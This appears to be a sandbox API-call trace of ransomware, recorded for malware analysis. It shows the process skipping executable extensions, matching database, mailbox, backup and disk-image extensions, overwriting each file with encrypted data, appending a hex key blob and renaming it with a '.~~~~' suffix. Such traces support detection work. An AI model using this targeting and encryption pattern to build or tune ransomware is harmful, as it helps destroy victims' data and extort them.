	[0142.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa710 | out: hHeap=0x300000) returned 1
	[0142.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0142.846] GetLastError () returned 0x0
	[0142.846] GetLastError () returned 0x0
	[0142.846] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0142.847] GetLastError () returned 0x0
	[0142.847] GetLastError () returned 0x0
	[0142.847] ReadFile (in: hFile=0x114, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x1f8fec0*=0x875e, lpOverlapped=0x0) returned 1
	[0142.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff78a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.954] WriteFile (in: hFile=0x114, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x875e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x875e, lpOverlapped=0x0) returned 1
	[0142.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0142.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.967] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.967] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.967] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.967] CloseHandle (hObject=0x114) returned 1
	[0142.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aaba8
	[0142.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR36F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir36f.gif.~~~~")) returned 1
	[0142.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aaba8 | out: hHeap=0x300000) returned 1
	[0142.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.970] GetLastError () returned 0x0
	[0142.970] RtlWakeConditionVariable () returned 0x0
	[0142.970] GetCurrentThreadId () returned 0xaf0
	[0142.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".scr") returned 0x0
	[0142.970] lstrlenW (lpString=".cmd") returned 4
	[0142.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".cmd") returned 0x0
	[0142.970] lstrlenW (lpString=".dll") returned 4
	[0142.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dll") returned 0x0
	[0142.970] lstrlenW (lpString=".bat") returned 4
	[0142.970] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".bat") returned 0x0
	[0142.971] lstrlenW (lpString=".cpl") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".cpl") returned 0x0
	[0142.971] lstrlenW (lpString=".sys") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".sys") returned 0x0
	[0142.971] lstrlenW (lpString=".msc") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".msc") returned 0x0
	[0142.971] lstrlenW (lpString=".com") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".com") returned 0x0
	[0142.971] lstrlenW (lpString=".lnk") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".lnk") returned 0x0
	[0142.971] lstrlenW (lpString=".msp") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".msp") returned 0x0
	[0142.971] lstrlenW (lpString=".pif") returned 4
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".pif") returned 0x0
	[0142.971] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.971] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0143.144] lstrlenW (lpString=".sqb") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".sqb") returned 0x0
	[0143.144] lstrlenW (lpString=".ost") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".ost") returned 0x0
	[0143.144] lstrlenW (lpString=".txt") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".txt") returned 0x0
	[0143.144] lstrlenW (lpString=".mdt") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".mdt") returned 0x0
	[0143.144] lstrlenW (lpString=".BDB") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".BDB") returned 0x0
	[0143.144] lstrlenW (lpString=".eql") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".eql") returned 0x0
	[0143.144] lstrlenW (lpString=".DBF") returned 4
	[0143.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DBF") returned 0x0
	[0143.144] lstrlenW (lpString=".EQL") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".EQL") returned 0x0
	[0143.145] lstrlenW (lpString=".FDB") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".FDB") returned 0x0
	[0143.145] lstrlenW (lpString=".EDB") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".EDB") returned 0x0
	[0143.145] lstrlenW (lpString=".DACPAC") returned 7
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.145] lstrlenW (lpString=".VHD") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".VHD") returned 0x0
	[0143.145] lstrlenW (lpString=".DBV") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DBV") returned 0x0
	[0143.145] lstrlenW (lpString=".dacpac") returned 7
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.145] lstrlenW (lpString=".sdf") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".sdf") returned 0x0
	[0143.145] lstrlenW (lpString=".accdb") returned 6
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".accdb") returned 0x0
	[0143.145] lstrlenW (lpString=".DBX") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DBX") returned 0x0
	[0143.145] lstrlenW (lpString=".MDT") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".MDT") returned 0x0
	[0143.145] lstrlenW (lpString=".SQB") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".SQB") returned 0x0
	[0143.145] lstrlenW (lpString=".vhd") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".vhd") returned 0x0
	[0143.145] lstrlenW (lpString=".bac") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".bac") returned 0x0
	[0143.145] lstrlenW (lpString=".mdf") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".mdf") returned 0x0
	[0143.145] lstrlenW (lpString=".BAK") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".BAK") returned 0x0
	[0143.145] lstrlenW (lpString=".BAC") returned 4
	[0143.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".BAC") returned 0x0
	[0143.146] lstrlenW (lpString=".dbs") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dbs") returned 0x0
	[0143.146] lstrlenW (lpString=".vhdx") returned 5
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.146] lstrlenW (lpString=".NDF") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".NDF") returned 0x0
	[0143.146] lstrlenW (lpString=".dat") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dat") returned 0x0
	[0143.146] lstrlenW (lpString=".DBS") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DBS") returned 0x0
	[0143.146] lstrlenW (lpString=".CKP") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".CKP") returned 0x0
	[0143.146] lstrlenW (lpString=".edb") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".edb") returned 0x0
	[0143.146] lstrlenW (lpString=".PST") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".PST") returned 0x0
	[0143.146] lstrlenW (lpString=".dbf") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dbf") returned 0x0
	[0143.146] lstrlenW (lpString=".SQL") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".SQL") returned 0x0
	[0143.146] lstrlenW (lpString=".pst") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".pst") returned 0x0
	[0143.146] lstrlenW (lpString=".dbv") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dbv") returned 0x0
	[0143.146] lstrlenW (lpString=".SDF") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".SDF") returned 0x0
	[0143.146] lstrlenW (lpString=".dtxs") returned 5
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.146] lstrlenW (lpString=".db3") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".db3") returned 0x0
	[0143.146] lstrlenW (lpString=".OST") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".OST") returned 0x0
	[0143.146] lstrlenW (lpString=".dbx") returned 4
	[0143.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dbx") returned 0x0
	[0143.147] lstrlenW (lpString=".DB3") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DB3") returned 0x0
	[0143.147] lstrlenW (lpString=".DAT") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DAT") returned 0x0
	[0143.147] lstrlenW (lpString=".VHDX") returned 5
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.147] lstrlenW (lpString=".ndf") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".ndf") returned 0x0
	[0143.147] lstrlenW (lpString=".DB") returned 3
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DB") returned 0x0
	[0143.147] lstrlenW (lpString=".sql") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".sql") returned 0x0
	[0143.147] lstrlenW (lpString=".MYD") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".MYD") returned 0x0
	[0143.147] lstrlenW (lpString=".DBT") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DBT") returned 0x0
	[0143.147] lstrlenW (lpString=".ACCDB") returned 6
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.147] lstrlenW (lpString=".fdb") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".fdb") returned 0x0
	[0143.147] lstrlenW (lpString=".bak") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".bak") returned 0x0
	[0143.147] lstrlenW (lpString=".myd") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".myd") returned 0x0
	[0143.147] lstrlenW (lpString=".DTXS") returned 5
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.147] lstrlenW (lpString=".ckp") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".ckp") returned 0x0
	[0143.147] lstrlenW (lpString=".dbt") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".dbt") returned 0x0
	[0143.147] lstrlenW (lpString=".db") returned 3
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".db") returned 0x0
	[0143.147] lstrlenW (lpString=".TXT") returned 4
	[0143.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".TXT") returned 0x0
	[0143.148] lstrlenW (lpString=".MDF") returned 4
	[0143.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".MDF") returned 0x0
	[0143.148] lstrlenW (lpString=".bdb") returned 4
	[0143.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".bdb") returned 0x0
	[0143.148] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0143.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362c70
	[0143.148] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395498) returned 1
	[0143.149] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0143.149] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0143.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0143.149] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26313926472) returned 1
	[0143.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbeba23f0, dwHighDateTime=0x1d60e1e)) 
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5578
	[0143.149] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0143.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5578 | out: hHeap=0x300000) returned 1
	[0143.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0143.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab0c0
	[0143.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab0c0 | out: hHeap=0x300000) returned 1
	[0143.150] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.150] GetLastError () returned 0x0
	[0143.150] GetLastError () returned 0x0
	[0143.150] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.150] GetLastError () returned 0x0
	[0143.151] GetLastError () returned 0x0
	[0143.151] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0xe591, lpOverlapped=0x0) returned 1
	[0143.153] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffff1a6f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.153] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xe591, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0xe591, lpOverlapped=0x0) returned 1
	[0143.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.153] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.153] WriteFile (in: hFile=0x10c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.153] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.154] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.154] CloseHandle (hObject=0x10c) returned 1
	[0143.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab0c0
	[0143.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif.~~~~")) returned 1
	[0143.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab0c0 | out: hHeap=0x300000) returned 1
	[0143.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0143.156] GetLastError () returned 0x0
	[0143.157] RtlWakeConditionVariable () returned 0x0
	[0143.157] GetCurrentThreadId () returned 0xaf0
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".scr") returned 0x0
	[0143.157] lstrlenW (lpString=".cmd") returned 4
	[0143.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF", lpSrch=".cmd") returned 0x0
	[0143.157] lstrlenW (lpString=".dll") returned 4
